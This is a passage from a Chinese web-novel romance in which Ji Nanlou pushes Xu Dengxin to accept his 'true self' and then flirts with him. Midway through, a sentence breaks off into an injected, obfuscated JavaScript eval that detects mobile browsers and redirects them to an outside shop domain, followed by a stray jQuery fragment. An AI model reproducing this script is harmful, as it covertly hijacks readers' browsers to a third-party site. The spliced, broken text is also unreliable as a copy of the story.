许灯信刚感觉到季南楼的皮带有点膈到他了,腰上就被一股力道轻轻一推。
季南楼把他往前推了一下。
看起来像是某种鼓励,许灯信顺势蹲下身子,对着那个之前从未接触过的生物伸出手。
三花很懂事的主动仰头蹭许灯信的指尖。
许灯信很僵硬,甚至不知道手要动一动,就这样悬在半空中全凭猫自助。
几秒钟后许灯信就收回手了,碰过小动物的手有点无处安放。
客观上他觉得很脏,他必须马上消毒洗手,但是主观上,刚才的触感又暖暖的,不算太糟糕。
……回去再洗手吧。
许灯信重新起身,转身发现季南楼不知道什么时候从他身边绕开了。
“那些很凶的野猫还是别摸,有可能抓到你,”季南楼在旁边依着路灯,说:“要是你喜欢,我们养只宠物也行。”
“……还是算了吧,”许灯信觉得自己应该还没好到那个地步,“养了就有感情了,要负责任的。”
季南楼点点头,说:“也是,慢慢来。”
其实他在脑内默念道德经。
效果甚微,因为许灯信还在他眼前晃。
甚至一个眨眼间,许灯信凑到面前来了。
季南楼猛地往后一退发现身后是路灯,自己反而被抵住了。
他是很喜欢撩拨许灯信,觉得许灯信红温的样子很有趣。
但是现在可不是一个好时候。
许灯信凑近他,眼里没有害羞,全是审视。
那是一种很……性感的眼神,但是眼睛的主人不能意识到这一点,正在持续靠近。
季南楼这下不知道自己能装多久了。
“我们第一次见面,在酒店的卫生间,”许灯信再次见到了季南楼这样的表情,忽然笑了:“你就是这个表情。”
“……”
那时候许灯信把他当男模,说实话,当时的季南楼稍微有点无语。
很想反过来质问你见过长得这么帅的干这工作吗?
但是小头控制大头导致他没气起来。
谁能想到那人刚好就是花期。
“……表情怎么了,”季南楼毕竟不要脸一点,这种情况也圆滑的和泥鳅一样,“吓到你了?”
他接下来想说些调侃撩拨的话,大不了惹急了再哄回来。
“没有,”许灯信摇头,“我今天一整天都在期待你再这样看我一次,终于见到了。”
……?
季南楼有些傻眼了。
许灯信其实不知道这个眼神意味着什么,只是觉得情感很浓烈,非常真实。
比平时的季南楼真实的多,非常有美学价值。
许灯信撤回去,保持一步距离,说:“你这样我更喜欢,你完全不用藏的,虽然平时照顾人的样子也很好,但是我都很喜欢,嗯……我是说,总之什么样都很好,你可以多和我……”
“许灯信。”
“……嗯?”
怎么突然喊大名。
“你喜欢真实?”
“……也不能这样说,”许灯信听出季南楼的语气有点不对劲,但是他还是很严谨的回复:“只是朋友的话,我希望我们同等,这样我也能帮你做些什么。”
“很好,”季南楼长舒一口气,确实有点懒得演了,“那你答应我一件事,我就告诉你我到底什么样。”
“这个……”如果是别人,许灯信不会答应先斩后奏的条件。
“……我能先听听要我答应什么吗,”因为是季南楼,所以许灯信愿闻其详:“只要不是道德上……”
“答应我,不管我真实的样子是什么样,你永远不会离开我,不会讨厌我,不会和我分道扬镳。”
没想到是这样一个条件,许灯信当然是想也没想的:
“当然了。”
这不是理所当然的吗。
朋友就是要接受对方的很多面。
而且许灯信不相信有其他人比自己还麻烦,季南楼都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17762157|209618||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
能接受那自己当然也能接受。
季南楼脊背离开路灯杆,上前两步拉住许灯信的手腕,好像真的怕他会跑掉一样,力道毋庸置疑。
没到把人捏疼的地步,但是绝对不是可以轻易挣开的范畴。
季南楼的眼神的确有那么一瞬间吓到了许灯信。
如果第一次见面是因为未知……这次他怎么还是被吓到了。
许灯信不是过于相信直觉的人,只是觉得奇怪。
但这不代表许灯信想退缩。
“你说真的。”
“真的。”
“我忍的很难受,花老师可不能骗我。”
“不要忍,”他对季南楼道:“那就不要忍了。”
这话一出激的那男人咬紧了后槽牙,说:
“如果你跑了,怎么办?”
“我不跑……”
“你先说怎么办。”
“……那就、你把我抓回来好了。”
反正自己房门密码季南楼不是都知道吗。
季南楼笑出声了:“不怕我是什么杀猪盘,专门骗你性格单纯不谙世事,长得漂亮的男人。”
许灯信心里有点慌,但是遵循本能严谨道:“如果你真的能提前半年布局调查我的喜好,为了这件事还真的成为了同人大v文手,并且跨越半个国家搬到我家对面……那你挺厉害的,最后把我钱骗走了我无话可说。”
而且,许灯信想说自己不善交际不代表是傻子。
其实他智商还挺高的,只是不太会运用到生活中。
“谁说要骗钱了。”
季南楼俯下身,在许灯信震惊的眼神中,顺着侧脸再到耳垂,用嘴轻轻叼走了他的口罩。
“骗色,好不好,花老师。”
“你觉得我是好人我真的很愧疚啊,花老师。”
“但是你主动起来也很可爱,我很喜欢就对了。”
“吓到了?怎么不说话,许灯信。”
“接过吻吗,花期。”